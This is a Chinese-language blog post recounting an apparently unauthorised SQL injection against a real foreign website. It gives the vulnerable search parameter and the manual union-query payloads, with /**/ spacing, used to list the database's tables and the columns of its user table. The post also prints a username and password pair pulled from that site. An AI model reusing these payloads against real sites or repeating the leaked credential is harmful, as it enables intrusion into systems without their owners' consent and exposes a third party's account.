对国外某网站的SQL注入实战
记录一次某功能点遇到SQL注入漏洞尝试丢到SQLMAP运行虽然成功,但是有些SQL注入类型存在但SQLMAP未识别出来,随后便使用手工注入的方式获得数据库相关数据的随笔
功能点
-
某网站存在URL如下的GET形公告展示点:
/xxx/index.php?mod=detail&_id=232
- 当对该功能点进行测试的时候发现当
_id=232
切换为id=232-1
时页面展示内容为id=232
的内容,初步可以判断该点存在SQL注入。 - 尝试使用SQLMAP对该功能点进行深入渗透测试
从其返回的信息中可以看出,SQLMAP表示该网站使用的是CrateDB
数据库,但是无法进行自动注入。因为对这个数据库接触的比较少,于是就懒得去手工注入,就尝试寻找其他注入点。
- 当对该功能点进行测试的时候发现当
-
同网站存在URL如下的POST形查询展示点
POST /xxxx/index.php?mod=search&page_s=0 HTTP/1.1 Host: Content-Length: 42 ...... Connection: closekeyword=1&btn_search=%E6%A4%9C%E7%B4%A2
- 尝试对keyword进行SQL注入尝试,发现当
keyword=1"
时页面正常显示,但keyword=1'
时页面报错。初步判断存在SQL注入点,再对页面进行测试发现报错信息一致,于是直接排除报错注入。 - 尝试使用SQLMAP进行渗透测试
发现SQLMAP虽然注入出来了,但是观察BURP拦截的包发现SQLMAP其实再发包的时候已经出现了联合查询注入的SQL漏洞,但是并未列出来,于是就尝试进行手工注入。
- 尝试对keyword进行SQL注入尝试,发现当
联合查询手工注入
BURP上存在联合查询注入的包如下
- 手工查询当前数据库
database()
获得数据库名称:tosekyo_blog
- 手工查询当前数据库中的表
select/**/GROUP_CONCAT(TABLE_NAME)/**/FROM/**/information_schema.TABLES WHERE/**/TABLE_SCHEMA="tosekyo_blog"
获得表:d_blog,d_comment,d_trackback,m_category,m_plugin,m_user
- 获得表中的列
select/**/GROUP_CONCAT(COLUMN_NAME)/**/FROM/**/information_schema.COLUMNS/**/WHERE/**/TABLE_NAME="m_user"
获得列:id,uid,pwd,name,is_admin,is_super_user,serial_num
- 获取值
得到用户名密码(tosekyoblog|enLII01DMr59o)
网络安全交流学习群
QQ群:964798797